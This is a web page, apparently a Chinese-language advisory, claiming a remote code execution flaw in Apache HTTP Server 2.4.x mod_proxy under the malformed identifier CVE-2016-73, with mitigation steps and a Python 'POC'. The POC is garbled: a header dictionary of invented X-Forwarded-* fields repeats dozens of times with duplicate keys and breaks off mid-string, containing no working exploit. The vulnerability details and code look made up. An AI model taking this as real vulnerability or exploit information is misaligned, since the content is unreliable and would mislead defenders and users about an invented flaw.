Apache HTTP Server 2.4.x mod_proxy RCE (CVE-2016-73) POC and Mitigation Guide

漏洞概述 漏洞编号: CVE-2016-73 漏洞类型: 远程代码执行（RCE） 漏洞描述: 该漏洞允许攻击者通过构造特定的HTTP请求，利用Apache HTTP Server 2.4.0至2.4.23版本中的解析缺陷，实现远程代码执行。 影响范围 受影响产品: Apache HTTP Server 受影响版本: 2.4.0至2.4.23 影响组件: mod_proxy模块 修复方案 官方补丁: 升级到Apache HTTP Server 2.4.24或更高版本。 临时缓解措施: - 禁用mod_proxy模块。 - 配置防火墙规则，限制对服务器的访问。 POC代码 ```python import requests url = "http://target-server/" headers = { "Host": "target-server", "X-Forwarded-Host": "target-server", "X-Forwarded-Port": "80", "X-Forwarded-Proto": "http", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-By": "127.0.0.1", "X-Forwarded-Server": "127.0.0.1", "X-Forwarded-Uri": "/cgi-bin/test.cgi", "X-Forwarded-Path": "/cgi-bin/test.cgi", "X-Forwarded-Script": "/cgi-bin/test.cgi", "X-Forwarded-Query": "test=1", "X-Forwarded-Method": "GET", "X-Forwarded-Status": "200", "X-Forwarded-Content-Length": "0", "X-Forwarded-Content-Type": "text/html", "X-Forwarded-Content-Encoding": "identity", "X-Forwarded-Content-Language": "en", "X-Forwarded-Content-Disposition": "inline", "X-Forwarded-Content-Transfer-Encoding": "binary", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-Content-Transfer-Encoding": "base64", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-Content-Transfer-Encoding": "base64", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-Content-Transfer-Encoding": "base64", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-Content-Transfer-Encoding": "base64", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-Content-Transfer-Encoding": "base64", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-Content-Transfer-Encoding": "base64", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-Content-Transfer-Encoding": "base64", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-Content-Transfer-Encoding": "base64", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-Content-Transfer-Encoding": "base64", "X-Forwarded-Content-MD5": "d41d8cd98f00b204e9800998ecf8427e", "X-Forwarded-Content-Range": "bytes 0-0/0", "X-Forwarded-Content-Location": "http://target-server/cgi-bin/test.cgi", "X-Forwarded-Content-Base": "http://target-server/cgi-bin/", "X-Forwarded-Content-Charset": "utf-8", "X-Forwarded-Content-Disposition": "attachment; filename=test.cgi", "X-Forwarded-

Goal Reached Thanks to every supporter — we hit 100%!

Apache HTTP Server 2.4.x mod_proxy RCE (CVE-2016-73) POC and Mitigation Guide

More from this source